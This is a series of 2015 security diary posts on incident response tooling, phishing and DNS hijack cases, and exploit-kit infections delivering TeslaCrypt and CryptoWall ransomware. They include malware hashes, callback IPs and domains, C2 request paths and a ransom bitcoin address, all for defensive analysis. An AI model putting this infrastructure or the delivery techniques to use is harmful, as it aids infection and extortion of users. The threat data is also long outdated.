Microsoft releases often interesting tools to help system administrators and incident handlers to investigate suspicious activities on Windows systems. In 2012, they released a free tool called FCIV (“File Checksum Integrity Verifier”)(1). It is a stand alone executable which does not require any DLL or other resources. Just launch it from any location. Its goal is to browse a file system or some directories recursively and to generate MD5/SHA1 hashes of all the files found. The results are saved in a XML database. FCIV is used in proactive and reactive ways. The first step is to build a database of hashes on a clean computer (proactive). Then the generated database is re-used to verify a potentially compromised system (reactive)

Most big organizations work today with system images. The idea is to scan an unused clean system (but which will of course receives patches and software updates with a system like WSUS) and to generate a baseline of hashes. Example:

This command will search recursively for specified file types on  the C: drive and store both hashes in the specificed XML file. A small PowerShell script(2) will do the job: it generates a database unique name (based on the current date - yyyymmdd) and, at the end, compute also the SHA1 hash of this database. FCIV offers multiple command line switches to fine tune the scan. Once you have a trusted database, you can compare a potentially malicious system against it. The command below will scan a system against a database stored on the D: drive:

The database being a XML file, it’s tempting to have a look at it and reuse the content with other investigation or monitoring tools. However it’s unusable in its default format because Microsoft writes all the data on a single line and the hashes are stored in raw Base64. So, they must be first Base64 decoded then encoded in hex to be recognized as regular MD5 or SHA1 hashes. They can be achieved very easily with a few lines of Python. Here is a small script(3) that will parse a FCIV database and generate a CVS file with 3 columns: the full path of the file, the MD5 and SHA1 hashes. 

A last tip: execute a scheduled task every night on a standard computer image from a USB stick and store the generated XML database (and its .sha1sum) to a remote system. You'll have a good starting point to investigate a compromised computer.

(1) http://www.microsoft.com/en-us/download/details.aspx?id=11533
(2) https://github.com/xme/powershell_scripts/blob/master/fciv.ps1
(3) https://github.com/xme/powershell_scripts/blob/master/hashparser.py

Metrics are an important part of incident response. You should know your average time to detect compromised systems and how successful phishing campaigns are against your users.  To start successful metrics, you need to choose a taxonomy to use. In this example, we will be using the VERIS(1) taxonomy. It is well documented and allows you to compare yourself to the DBIR report.

One of the problems with metrics is the amount of time it takes to enter data and correlate it. While it may take less than 5 minutes to determine how many people responded to a phish, it may take up to 20 minutes to create the tickets in your tracking system. To greatly increase your efficiency and accuracy, scripting should be used.

RTIR(2) is an open source ticketing system for incident response based on Request Tracker. This system can be built based on the VERIS taxonomy by creating custom fields that match the categories. This system supports using a REST API(3) to automate the creation of tickets.

We need to create the following custom fields for our use case. Some of these will have static values and others will need to enter as a command line argument.

hacking.discovery_method, hacking.targeted, impact.security_incident, social.variety, social.vector,social.target, confidentiality.data.variety, misuse.variety

Additionally, we want to track other stats that aren't used in VERIS, but are very useful for tracking campaigns.

victim-username,ioc.attacker.ip, ioc.attacker.domain

Now that we have the basic breakdown of what fields we want to enter data in, we need to script it (4). You need to make sure you put in your credentials to the script along with the IP/DNS name of your server. The two main parts that you can adjust to fit any incident type are the arguments and the post_data. The ticket will be created and closed when the script is complete.

To run this script as posted, do the following:

>rt-phishing.py --username bob --ip 127.0.0.1 --domain malware.bad --creator twebb --time 5

While metrics are important, they shouldn’t be demanding to create. Anything that your SOC does that doesn’t require lots of documentation should be easily scripted.

1.http://veriscommunity.net/enums.html#section-incident_desc

2.https://www.bestpractical.com/rtir/

3.http://requesttracker.wikia.com/wiki/REST

4.https://github.com/tcw3bb/ISC_Posts/blob/master/RTIR-phish-template.py

--

Tom Webb

My diary entry yesterday inspired me to create another test file base on the EICAR test file.

I created a PDF file (MD5 A1DDC9EBE19A3D43EC25889085AD3ED8) that contains a DOC file that drops the EICAR test file.

The PDF file contains JavaScript that extracts and opens the DOC file (with user approval). The DOC file contains a VBA script that executes upon opening of the file, and writes the EICAR test file to a temporary file in the %TEMP% folder.

You can find the PDF file on my blog here. This file will generate an anti-virus alert. Use at your own risk, with approval.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

I received another example of a PDF file that contains a malicious MS Office document. Sample (MD5 0c044fd59cc6ccc28a48937bc69cc0c4).

This time I want to focus on the analysis of such a sample.

First we run pdfid to identify the sample.

It contains JavaScript and an embedded file. Let's take a look at the JavaScript first with pdf-parser.

Remark that the JavaScript is not obfuscated this time. It's simple, just two lines: these 2 statements export the embedded file to a temporary folder, and then launch it (provided the user clicks OK on the warnings).

So let's take a look at the embedded file with pdf-parser. We use option -H to get more info on the streams (the embedded file), like the hashes.

The embedded file is most likely a ZIP file (magic number PK). Looking at object 9, we see that the name is 2.docm.

The .docm file format indicates that it is a MS Office Word document with VBA macros. We can extract it and analyze it with oledump. Here we do this with a pipe, e.g. without writing the .docm file to disk. We dump the embedded file to stdout (-d -) and pipe it into oledump which analyses it with the vba plugin.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Introduction

Last week, we saw the group behind a significant amount of Angler exploit kit (EK) switch to Neutrino EK [1].  We didn't know if the change was permanent, and I also noted that criminal groups using EKs have quickly changed tactics in the past.  This week, the group is back to Angler EK.

The past few days, I've noticed several examples Angler EK pushing TeslaCrypt 2.0 ransomware.  For today's diary, we'll look at four examples of Angler EK on Tuesday 2015-08-25 from 16:42 to 18:24 UTC.  All examples delivered the same sample of TeslaCrypt 2.0 ransomware.

TeslaCrypt 2.0

TeslaCrypt is a recent family of ransomware that first appeared early this year.  It's been known to mimic CryptoLocker, and we've seen it use the names TelsaCrypt and AlphaCrypt in previous infections [2, 3, 4].  According to Kaspersky Lab, version 2.0 of TeslaCrypt uses the same type of decrypt instructions as CryptoWall [5].  At first glance, an infected Windows host may look like it has CryptoWall; however, artifacts and traffic from the infected host reveal this is actually TeslaCrypt.

Kafeine from Malware Don't Need Coffee first tweeted about the new ransomware on 2015-07-13 [6].  The next day on Securelist.com, Kaspersky Lab released details on this most recent version of TeslaCrypt [5].

I saw my first sample of TeslaCrypt 2.0 sent from Nuclear EK on 2015-07-20 [7].  Most TeslaCrypt 2.0 samples we've run across since then were delivered by Angler EK; however, we haven't seen a great deal of it.  Until recently, most of the ransomware delivered by Angler EK was CryptoWall 3.0.  By Tuesday 2015-08-25, we only saw Angler deliver TeslaCrypt 2.0.

Angler EK traffic

Websites compromised by this actor have the same style of injected code we saw last week; however, this time the iframes pointed to Angler EK.  In most cases, the iframe led directly to the Angler EK landing page.  In some cases, there is a gate (redirect) URL before getting to Angler.

Shown above: From the first example, an iframe pointing to a gate at gobowz.hotpo.org before getting to Angler EK.

Shown above: From the second example, the iframe pointing to an Angler EK landing page.

Shown above: From the third example, the iframe pointing to an Angler EK landing page.

Shown above: From the fourth example, the iframe pointing to an Angler EK landing page.

Looking at the traffic in Wireshark, we find two different IPs and four different domains from the four Angler infections during a 1 hour and 42 minute time span. 

• 2015-08-25 16:42 UTC - 31.148.220.173 - prism0.housevaluesinmiami.com
• 2015-08-25 17:09 UTC - 31.148.220.173 - sowrite-capitalleser.housevaluesinmiami.com
• 2015-08-25 17:32 UTC - 74.63.210.182 - mhsc-tuffsteins.housevaluesinmiamibeach.com
• 2015-08-25 18:24 UTC - 74.63.210.182 - 1muthuletchm.housevaluesinsouthbeach.com

See the images below for details.

Preliminary malware analysis

The malware payload was the same file for each infection.  Although Angler EK sends its payload encrypted, I was able to grab a decrypted copy from an infected host before it deleted itself.

• File name: 2015-08-25-Angler-EK-payload-TeslaCrypt-2.0.exe
• File size: 346.9 KB (355,239 bytes)
• MD5 hash: 4321192c28109be890decfa5657fb3b3
• SHA1 hash: 352f81f9f7c1dcdb5dbfe9bee0faa82edba043b9
• SHA256 hash: 838f89a2eead1cfdf066010c6862005cd3ae15cf8dc5190848b564352c412cfa
• Detection ratio: 3 / 49
• First submission: 2015-08-25 19:51:01 UTC
• Virus Total analysis: link
• Malwr.com analysis: link
• Hybrid-Analysis.com analysis: link

The following post-infection traffic was seen from the four infected hosts:

• ipinfo.io - TCP port 80 (http) - IP address check
• 149.210.193.39 - TCP port 80 (http) - ledshoppen.nl - post-infection callback
• 192.185.171.111 - TCP port 80 (http) - www.micropiso.cl - post-infection callback

Malwr.com's analysis of the payload reveals additional IP addresses and hosts:

• 217.12.207.33 - TCP port 80 (http) - shmetterheath.ru    
• 199.116.254.169 - TCP port 80 (http) - fgainterests.com    
• 198.1.106.126 - TCP port 80 (http) - serenitynowbooksandgifts.com    
• 198.1.106.126 - TCP port 80 (http) - www.serenitynowbooksandgifts.com
• 217.197.83.197 - TCP port 443 (encrypted) - kb63vhjuk3wh4ex7.onion.to
• 65.112.221.20 - TCP port 443 (encrypted) - kb63vhjuk3wh4ex7.tor2web.org

Snort-based alerts on the traffic

I played back the pcap on Security Onion using Suricata with the EmergingThreats (ET) and ET Pro rule sets.  The results show alerts for Angler EK and AlphaCrypt.  The AlphaCrypt alerts triggered on callback traffic from TeslaCrypt 2.0.  See the image below for details.

Shown above: Sguil from Security Onion after using tcpreplay on the first pcap.

Screen shots from an infected host

Shown above: The desktop from an infected Windows host.

Shown above: The bmp image file telling you what happened.

Shown above: Got a captcha when trying one of the URLs for decrypt instructions.

Shown above: Final decrypt instructions with a bitcoin address for the ransom payment.

Final words

On the same cloned host with the same malware, we saw a different URL for the decrypt instructions each time.  Every infection resulted in a different bitcoin address for the ransom payment, even though it was the same sample infecting the same cloned host.

We continue to see EKs used by this and other criminal groups to spread malware.  Although we haven't seen as much CryptoWall this week, the situation could easily change in a few days time.

Traffic and malware for this diary are listed below:

• A zip archive of four pcap files with the infection traffic from Tuesday 2015-08-25 is available here.  (4.14 MB)
• A zip archive of the malware and other artifacts is available here.  (957 KB)

The zip archive for the malware is password-protected with the standard password.  If you don't know it, email admin@malware-traffic-analysis.net and ask.

---
Brad Duncan
Security Researcher at Rackspace
Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

References:

[1] https://isc.sans.edu/forums/diary/Actor+using+Angler+exploit+kit+switched+to+Neutrino/20059/
[2] http://www.malware-traffic-analysis.net/2015/04/03/index.html
[3] http://malware-traffic-analysis.net/2015/04/30/index.html
[4] http://www.malware-traffic-analysis.net/2015/05/07/index.html
[5] https://securelist.com/blog/research/71371/teslacrypt-2-0-disguised-as-cryptowall/
[6] https://twitter.com/kafeine/status/620533186305609728
[7] http://www.malware-traffic-analysis.net/2015/07/20/index.html

I got a couple of emails today notifying me of a "Compulsory Email Account Update" for my Dropbox account. The e-mails do overall mimic the Dropbox look and feel, and use dropbox@smtp.com as a "From" address. Nothing terrible new, but a nice case study on how defense in depth helps against these types of emails.

First of all, the email is sent from "dropbox@smtp.com". The domain smtp.com is owned by an e-mail marketing service, and it publishes SPF records. The IP address the e-mail was sent from (74.116.248.222) is not in SMTP.com's approved list:

"spf2.0/pra,mfrom include:_spf2.smtp.com ~all"
"v=spf1 ip4:192.40.160.0/19 ip4:74.91.80.0/20 include:salesforce.com ?all"

But note the "?all" part, which specifies that for all IPs not listed, the result is "neutral" which usually means the e-mail is accepted. So in the end, it kind of invalidates the SPF record, but a spam filter could still include the fact in its score.

Moving on to our spam filter. Our not well tuned spamassassin implementation gave it a score of 33! URLs listed in the email are blocklisted for example. The e-mail agent (Outlook) does not match the layout of the MIME message. 

Should the email arrive in your inbox, you may be tempted to click on it. The attacker did not attempt to obfuscate the URL. Your browser will be directed straight to a .vn (Vietnam) site. The site is already blocklisted and your browser is likely going to warn you about the site. It appears, based on the URL, that the attacker compromised a Wordpress site to upload a simple phishing form. The form will offer the victim a number of different e-mail services to chose from, in order to "verify" the user's credentials. No matter which e-mail address / password is used, the victim will be directed to a google document, which should be another tip for the victim that they just fell for a phishing scam.

So there are many ways how a user will NOT fall for this email. But why do users still click even on simple emails like this?

- These e-mails tend to be most successful very early on in their live cycle, before blocklists pick up on them (I looked at the email a couple hours after it arrived in my inbox)
- Phishing is a numbers game. Out of thousands of phishing e-mails, only a few users will "click" and even less will enter their credentials. But then again, sending these emails is cheap
- Do not assume that all attackers are succesful and rolling in cash made from their illicit ventures. Just like other criminal undertakings, there are a few who make money, and an awful lot who live in their moms basement and dream of making money but don't have the skills to do it.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Hardly anybody has physical access to critical public facing servers. Usually, they are located in a data center, hours away from the system administrators charged with managing them. Doing a system reboot, or trouble shooting a system that has dropped offline, is accomplished by either calling some third party support person at the data center, or via remote consoles. Neither solution is perfect.

Using remote "hands" often requires that these individuals will need access to root/admin passwords, or other credentials used to access these systems. Managing these credentials isn't easy, in particular "under stress" if you systems are down. To get things done, bad decisions are made in a rush if no plan was defined ahead of time. 

The alternative (and my preferred option) is a solid "out-of band" management solution for the systems. This typically includes some form of remote power controller and a "KVM over IP" solution. Not sure if anybody still uses dialup lines to access these consoles, but of course, there should be some secondary IP connection to reach them. There are a number of different vendors that offer solutions for this, but in my experience, many of them suffer from some basic flaws:

Logging: No half way security conscious system administrator would turn off logging for failed and successful login attempts. However, many of these remote access solutions do not even have a logging option, and if they do it is often not configured. Many loging features only allow for limited loging on the device itself, and do not allow to simply send the logs to a syslog server. SMTP traps exist in some cases, but again have to be enabled. I can't remember seeing anything that I would consider "robust" logging, like logging over SSL, from any KVM or RPC device.

Access Control: Sometimes, you find features like RADIUS, which at least allows for some central management of credentials. But remember, you need to be able to use these systems if "things don't work right". So often it is necessary to have local credentials. Better systems at least allow for multiple users and offer different privilege levels. But in some cases, the user can not change their password after the administrator set it for them. This requires the device's administrator to communicate the password to the user which is less then ideal.

Out of data Java applets: Many modern KVMs use a Java applet to provide remote access. These applets are often signed with expired, or self signed, certificates. Newer versions of Java will not allow you to run these applets, so you need to keep an older version around just in case. Aside from having to accept the invalid signature, this puts your system at risk if this older Java version is vulnerable. Some vendors provide updates for the firmware fixing the Java signature issues, but this will only help you as long as your device is still supported.

SSL Configuration: It is usually possible to load your own SSL certificate, which is a minimum requirement to obtain a reasonable SSL connection (you don't want to use the default configuration!!!). But I have seen devices that do only allow MD5 signed certificates. No real certificate authority will provide them anymore due to the documentd weakness of MD5. It is possible to setup your own CA (and sometimes a good idea in cases like this), but you still probably should not use MD5 signed certificates. Aside from that, many of these devices still max out at SSLv3, which is less and less supported. 

So how do you control these "backdoors"? Any great ideas on staying up to date with patches, and limiting/logging access to them? I didn't even mention simple firmware vulnerabilities like authentication bypass that plague these devices.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Introduction

According to a 2014 report by ESET, Windigo is the code name for an ongoing operation that started as early as 2011 [1].  As noted in the report, legitimate traffic to servers compromised by the Windigo group redirect visitors to an exploit kit (EK).  If the Windows client is vulnerable, it would be infected by the EK.

In December 2014, the Windigo group started using Nuclear EK to deliver its payload.  Kafeine first tweeted about this in December [2], and I posted a few blog entries covering Operation Windigo in the following months [3, 4, 5, 6, 7].

As summer draws to a close, I've seen less traffic from the Windigo group.  It's still active, but I haven't found it at all in recent weeks.  Fortunately, today (Friday, 2015-08-21) I was lucky enough to encounter a website compromised by the Windigo group.  It kicked off a chain of events leading to Nuclear EK.

This diary examines the infection traffic.

Background

Last month, a reader informed me that forum.tramedibeautiful.com may be compromised.  When I first checked, the website redirected to myfilestore.com, and I didn't see any EK traffic.

Today I tried forum.tramedibeautiful.com and saw the same redirect, but this time myfilestore.com led to Nuclear EK.  Based on the traffic, you'll find myfilestore.com was compromised by the Windigo group and is redirecting to Nuclear EK.

Shown above: Google search results to forum.tramedibeautiful.com.

Shown above: a few seconds after I clicked on the Google search result.

Traffic

See the image below for the HTTP traffic generated by this infection chain of events.  Traffic to 111.118.177.20 is a Cushion-style redirect and Nuclear EK used by the Windigo group.   Post-infection traffic to 209.96.38.62 over TCP port 17326 and 108.163.245.234 over TCP port 49053 was caused by Glupteba malware sent from the EK.

Shown above: Wireshark view of the traffic filtered for HTTP requests.

Shown above: myfilestore.com redirecting to a Cushion-style URL used by the Windigo group.

Snort events

A key indicator for Operation Windigo is the EmergingThreats (ET) alert ET CURRENT_EVENTS Cushion Redirection (sid:2017552) [8].  I replayed a pcap of the infection traffic in Security Onion using Suricata with the ET open rule set.  In the image below, we find alerts associated with Nuclear EK traffic caused by the Windigo group.

Shown above: Squil in Security Onion with events from the traffic.

I also used the latest version of Snort (2.9.7.5) with the snort registered rule set to read the pcap.  The results show several alerts for post-infection traffic we typically see with malware used by the Windigo group.

Shown above: Alerts from the traffic using Snort 2.9.7.5.

Final words

Don't know why I haven't been seeing as much Windigo group Nuclear EK lately.  Maybe this actor is on the decline.  Others may have more visibilty on this.

Traffic and malware from the analysis are listed below:

• A pcap of the Friday 2015-08-20 Windigo group Nuclear EK traffic is here.
• ​A zip archive containing associated malware and artifacts is available here.

The zip archive is password-protected with the standard password.  If you don't know it, email admin@malware-traffic-analysis.net and ask.

---
Brad Duncan
Security Researcher at Rackspace
Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

References:

[1] http://www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf
[2] https://twitter.com/kafeine/status/542231866687098880
[3] http://malware-traffic-analysis.net/2014/12/10/index.html
[4] http://malware-traffic-analysis.net/2014/12/25/index.html
[5] http://malware-traffic-analysis.net/2015/01/01/index.html
[6] http://malware-traffic-analysis.net/2015/02/11/index.html
[7] http://www.rackspace.com/blog/in-2015-operation-windigo-is-still-going-strong/
[8] http://docs.emergingthreats.net/bin/view/Main/2017552

Introduction

I've often had a hard time finding compromised websites to kick off an infection chain for the Neutrino exploit kit (EK).  During the past few months, we've usually seen Angler EK, Nuclear EK, or Rig EK instead.  But the situation changed by Wednesday 2015-08-19.  Earlier this week, we stopped finding as much Angler EK and started seeing a lot more traffic for Neutrino.

Our preliminary analysis indicates the actor behind a significant amount of Angler EK during recent months switched to Neutrino EK sometime this week.  We don't have enough data to know if this change is permanent.

This diary presents our preliminary analysis, and it looks at current URL patterns for Neutrino EK.  In this analysis, we examine changes in two infection chains kicked off by the same compromised website.  The same site that led to Angler EK last week is now causing Neutrino EK.

Preliminary results

The first traffic example from Thursday 2015-08-13 has Angler EK.  The second example from the same compromised website on Wednesday 2015-08-19 has Neutrino EK.

Similarities in the traffic indicate these were caused by the same actor.  In this comparison, two notable similarities were found:

1) Pages from this compromised website had the same injected code, but the iframe changed from an Angler EK landing URL to Neutrino EK.

2) Each time, the payload was CryptoWall 3.0 using 1LY58fiaAYFKgev67TN1UJtRveJh81D2dU as the bitcoin address for ransom payment.

I noticed this in a few other compromised websites that led to Angler EK traffic last week.  Most of them pointed to Neutrino when I checked within the past 24 hours.

Details

We used a compromised website named actionasia.com for this comparison.

EK traffic normally requires a referrer, and Google did not let us get to actionasia.com from its search results.  I had to get at the compromised website from a Bing search.  If Bing gives you a warning, it also gives you the option to proceed to the compromised site.  Google will not.

On Thursday 2015-08-13, this website had injected code with an iframe leading to Angler EK [1].  Six days later on Wednesday 2015-08-19, this website showed the same pattern of injected code, but the iframe pointed to a URL for Neutrino EK.  See the below images for comparison.

Shown above: Injected script with an iframe pointing to an Angler EK landing page.

Shown above: Same style of injected script 6 days later, this time pointing to Neutrino EK.

Post infection traffic in both cases reveals a CryptoWall 3.0 infection.  When checking the decrypt instructions for the ransom payment, the more recent CryptoWall 3.0 sample from Neutrino EK used the same bitcoin address as the Angler EK payload on 2015-08-13.  This is the same bitcoin address used by several CryptoWall 3.0 samples from Angler EK going back as early as 2015-07-01 [2].

Shown above: Bitcoin address from the CryptoWall 3.0 decrypt instructions on 2015-08-19 after the Neutrino EK infection.

Neutrino EK traffic

Infection traffic from Wednesday 2015-08-19 shows Neutrino EK on 185.44.105.7 over TCP port 3712.  Current URL patterns for Neutrino EK have evolved somewhat since it reappeared in December 2014 after a hiatus of several months [3].  These changes in Neutrino are relatively recent.  The EK's URLs are generally shorter than last month, and they show different patterns.

People have asked me why Neutrino EK uses a non-standard TCP port for its HTTP traffic.  I can only guess it's an attempt to avoid detection.

Shown above: Wireshark filtered to show URL patterns for Neutrino EK from the 2015-08-19 infection.

Below are images from the TCP streams for Neutrino EK on Wednesday 2015-08-19:

Shown above: Neutrino EK landing page.

Shown above: Neutrino EK sends a Flash exploit.

Shown above: Neutrino EK sends the malware payload, a CryptoWall 3.0 executable (encrypted).

A link to the Hybrid-Analysis.com report for the decrypted payload (CryptoWall 3.0) is here.  Below is a list of domains and HTTP requests from the pcap related to Neutrino EK sending CryptoWall 3.0:

Associated domains:

• actionasia.com - Compromised website
• 185.44.105.7 port 3712 - obvpd.mohgroup.xyz:3712 - Neutrino EK
• ip-addr.es - address check by CryptoWall 3.0 (not inherently malicious)
• 172.246.241.236 port 80 - grizzlysts.com - CryptoWall 3.0 callback traffic
• 46.108.156.176 port 80 - 6i3cb6owitcouepv.spatopayforwin.com - User checking the decrypt instructions

Traffic:

• 2015-08-19 16:40:07 UTC - actionasia.com - GET /
• 2015-08-19 16:40:13 UTC - obvpd.mohgroup.xyz:3712 - GET /bleed/fasten-22739002
• 2015-08-19 16:40:13 UTC - obvpd.mohgroup.xyz:3712 - GET /1998/06/02/audience/abandon/debate/hiss-happy-shore-enemy.html
• 2015-08-19 16:40:15 UTC - obvpd.mohgroup.xyz:3712 - GET /observation/d2V0cGNsaGtuYw
• 2015-08-19 16:40:18 UTC - obvpd.mohgroup.xyz:3712 - GET /dale/aHB0a2Vj
• 2015-08-19 16:40:22 UTC - ip-addr.es - GET /
• 2015-08-19 16:40:25 UTC - grizzlysts.com - POST /wp-content/uploads/rrr.php?x=nyg80cl4x4
• 2015-08-19 16:40:27 UTC - grizzlysts.com - POST /wp-content/uploads/rrr.php?z=7gh5okukgq5qtw
• 2015-08-19 16:40:31 UTC - grizzlysts.com - POST /wp-content/uploads/rrr.php?t=d8limjgdeqca
• 2015-08-19 16:40:40 UTC - grizzlysts.com - POST /wp-content/uploads/rrr.php?u=5cbq0udpvsjx
• 2015-08-19 16:40:45 UTC - 6i3cb6owitcouepv.spatopayforwin.com - GET /[random string]

Snort-based alerts on the traffic

I tried reading the pcap with the latest version of Snort (2.9.7.5) on a Debian 7 host using the snort registered rule set.  The subscriber rule set is more up-to-date, but the registered rule set is free.  Make sure to use pulledpork for keeping your rules up-to-date.  My results show alerts for CryptoWall during the post-infection traffic, and we also find an alert incorrectly identifying one of the EK URLs as Sweet Orange.  See the images below for details.

I also played back the pcap on Security Onion using Suricata and the EmergingThreats (ET) open rule set.  Like the snort registered rule set, the ET open rule set is free.  Remember to run sudo /usr/bin/rule-update to make sure your rules are up-to-date.  The results show alerts for Neutrino EK using signatures from earlier this month.  We also find alerts for CryptoWall 3.0.  See the images below for details.

Final words

If this change indicates a trend, we might see a large amount of compromised websites pointing to Neutrino EK, along with a corresponding drop in Angler EK traffic.  However, criminal groups using these EKs have quickly changed tactics in the past, and the situation may change by the time you read this.   We will continue to monitor the threat landscape and let the community know of any significant changes.

Traffic and malware from the analysis are listed below:

• Pcap and malware from the Thursday 2015-08-13 Angler EK infection is available here.
• A pcap of the Neutrino EK traffic from Wednesday 2015-08-19 is available here.
• ​A zip archive containing the Neutrino EK flash exploit and malware payload (CryptoWall 3.0) is available here.

The zip archive is password-protected with the standard password.  If you don't know it, email admin@malware-traffic-analysis.net and ask.

---
Brad Duncan
Security Researcher at Rackspace
Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

References:

[1] http://malware-traffic-analysis.net/2015/08/13/index.html
[2] https://isc.sans.edu/diary/Another+example+of+Angler+exploit+kit+pushing+CryptoWall+30/19863/
[3] https://isc.sans.edu/diary/Exploit+Kit+Evolution+Neutrino/19283

Migrating everything to “cloud” or various online services is becoming increasingly popular in last couple of years (and will probably not stop). However, leaving our most valuable jewels with someone else makes a lot of security people (me included) nervous.

During some of the latest external penetration tests I noticed an increasing trend of companies moving some of their services to various cloud solutions or to their providers. 
When performing the reconnaissance phase of a penetration test, a very important part is to try to map the target assets/network as much as possible. Of course, DNS is one of the most important services, which must be available publicly and which sometimes gets misconfigured (how many times have you seen DNS information about internal assets that gets published on the Internet).

So, a simple dig query will tell us what the DNS servers for our target client are:

$ dig ns target.com
;; QUESTION SECTION:
;target.com.                     IN      NS

;; ANSWER SECTION:
target.com.              1365    IN      NS      zion.target.com.
target.com.              1365    IN      NS      morpheus.target.com.

;; ADDITIONAL SECTION:
zion.target.com.         1366    IN      A       212.71.248.24
morpheus.target.com.     9018    IN      A       88.198.75.37

Now what do we have here? Things look generally OK – there are two DNS servers for our target domain, at two different hosting companies (or, for the sake of this article, we can pretend that they are at the target company’s ISP).

The problem here is that the trust for our most critical infrastructure now completely lays with the ISP (or a hosting company). Why is that a problem? Well – remember all those attacks that happen when an account at a registrar gets hacked and domain information (including DNS servers) gets changed? The same thing applies here – DNS servers are the key to our kingdom.

I recently had to work on an incident that included such an attack where the NS records were modified silently by an attacker that got access to the hosting company. And that attack was very sneaky – the attacker modified only selected DNS records: the MX records. So, for couple of hours during a business day, the attacker changed the MX records (only) to point to his SMTP servers. Those servers were configured just to relay e-mail (and additionally, a specific version of an SMTP server was used to prevent adding headers) to the real destination. This was a very simple Man-in-the-Middle attack that was, unfortunately, very successful for the attacker as he was able to collect and analyze absolutely all e-mail sent to the victim company. While he was not able to see the outgoing e-mails, just remember how many times you’ve seen people actually remove the original e-mail (or reply inline) when replying? This is indeed very rare these days although those older will remember that once upon a time it was part of netiquette. 

Lessons learned here? While outsourcing DNS servers is not necessarily a bad thing, be aware of the risks that come with it (and with cloud usage in general). For this particular case, depending on the business the target company is in, I most of the times recommend that the DNS servers, as critical infrastructure, are kept on premises and managed by local staff. This way, you decrease the risk of the hosting company getting pwned, or simply risk of a disgruntled employee at the hosting company.

If you do decide to outsource DNS anyway, ask yourself first if you would detect the attack I mentioned? What controls do you have in place for detecting such an attack?
Implementation of additional monitoring controls such as regularly checking your critical DNS records (such as NS, MX and possibly A records for critical names) can go a long way and is very inexpensive. For this particular case, SPF would help as well, but unfortunately the majority of servers will simply use SPF information for spam detection and only very rare MUA’s will warn users when SPF records do not match the sending IP address.

Have similar outsourcing war stories? Let us know!

--
Bojan
@bojanz
INFIGO IS

Security Update for Internet Explorer (3088903)

Recommendation: Test and patch ASAP

Mitigation option: EMET 5.2 configured to protect Internet Explorer (defautlt) is able to block the known exploit

Related Bulletin and KBs: 

https://technet.microsoft.com/library/security/MS15-093

https://support.microsoft.com/en-us/kb/3087985
https://support.microsoft.com/en-us/kb/3081444
https://support.microsoft.com/en-us/kb/3088903

Executive Summary

"This security update resolves a vulnerability in Internet Explorer. The vulnerability could allow remote code execution if a user views a specially crafted webpage using Internet Explorer. An attacker who successfully exploited this vulnerability could gain the same user rights as the current user. Customers whose accounts are configured to have fewer user rights on the system could be less impacted than those who operate with administrative user rights.
This security update is rated Critical for Internet Explorer 7 (IE 7), Internet Explorer 8 (IE 8), Internet Explorer 9 (IE 9), Internet Explorer 10 (IE 10), and Internet Explorer 11 (IE 11) on affected Windows clients, and Moderate for Internet Explorer 7 (IE 7), Internet Explorer 8 (IE 8), Internet Explorer 9 (IE 9), Internet Explorer 10 (IE 10), and Internet Explorer 11 (IE 11) on affected Windows servers. For more information, see the Affected Software section.
The security update addresses the vulnerability by modifying how Internet Explorer handles objects in memory.
For more information about this update, see Microsoft Knowledge Base Article 3088903."

Vulnerability Information

"An attacker could host a specially crafted website that is designed to exploit this vulnerability through Internet Explorer, and then convince a user to view the website. The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements by adding specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to view the attacker-controlled content. Instead, an attacker would have to convince users to take action, typically by getting them to click a link in an instant messenger or email message that takes users to the attacker's website, or by getting them to open an attachment sent through email.
An attacker who successfully exploited this vulnerability could gain the same user rights as the current user. If the current user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Systems where Internet Explorer is used frequently, such as workstations or terminal servers, are at the most risk from this vulnerability."

See bulletin for all affected software 

Russ McRee | @holisticinfosec

In his most recent post, Guy asked "Are You a Hunter?". Here's one way to become one.

Dave Hull has just published the Stafford release of his exemplary PowerShell DFIR tool, Kansa. For the uninitiated, Kansa is a modular incident response framework in Powershell.(PS v3 or higher preferred) that uses Powershell Remoting to run user contributed modules across hosts in an enterprise to collect data for use during incident response, breach hunts, or for building an environmental
baseline.

Per Dave's release notes for Stafford, Kansa.ps1 has several new command line parameters, including:

• -OutputFormat: an optional parameter that takes an argument that specifies the format of collected output. Valid values are CSV, JSON, TSV and XML (yuck).
• -UseSSL: if present, this will be passed to the New-PSSession call and remote sessions will use Secure Sockets Layer. Note this does require that you've installed appropriate certificates.
• -Port: an optional parameter that takes a port number. Use this when WinRM is configured to listen on a non-standard port.
• -Authentication: an optional parameter that takes an argument that specifies what authentication mechanism should be used. Kerberos is still the default, but all WinRM authentication mechanisms are now supported. You can even do risky things like Basic or CredSSP, but I wouldn't recommend it.
• -JSONDepth: an optional parameter that takes an integer argument specifying the level of depth for object serialization to JSON.

For more details you can read why Kansa's Stafford release is more capable, more forensically sound, and more flexible via Dave's TrustedSignal blog.

From personal experience, in both work-place and lab environments, Kansa is well worth your time to review and adopt. Additional reference material follows:

http://trustedsignal.blogspot.com/search/label/Kansa
http://www.powershellmagazine.com/2014/07/18/kansa-a-powershell-based-incident-response-framework/
http://holisticinfosec.blogspot.com/2015/01/toolsmith-kansa-vs-operation-cleaver.html

Russ McRee | @holisticinfosec

It sound like an interesting question, isn't it? But what I'm referring to is us analyst that searches for unusual activity or you just wait for a trigger from an IDS/IPS or that a rule will trigger something from the SIEM.

I watched the opening keynote by Amit Yoran President of RSA at the RSA Singapore conference [1] and he was made reference to large organizations who have cutting edge security software/hardware and how bad they are still failing at catching bad actors still go undetected for a long time. He shared five points to go by to help catch bad actors in a network: Does it really Help (this shiny new device or software), Visibility, Identity, Intelligence and Prioritize. The fourth point Intelligence is where he talks about "CISO that gives their security team the time to hunt and learn their environment to understand what normal looks like are much more rapidly identifying unusual patterns (23:53m)"[1]

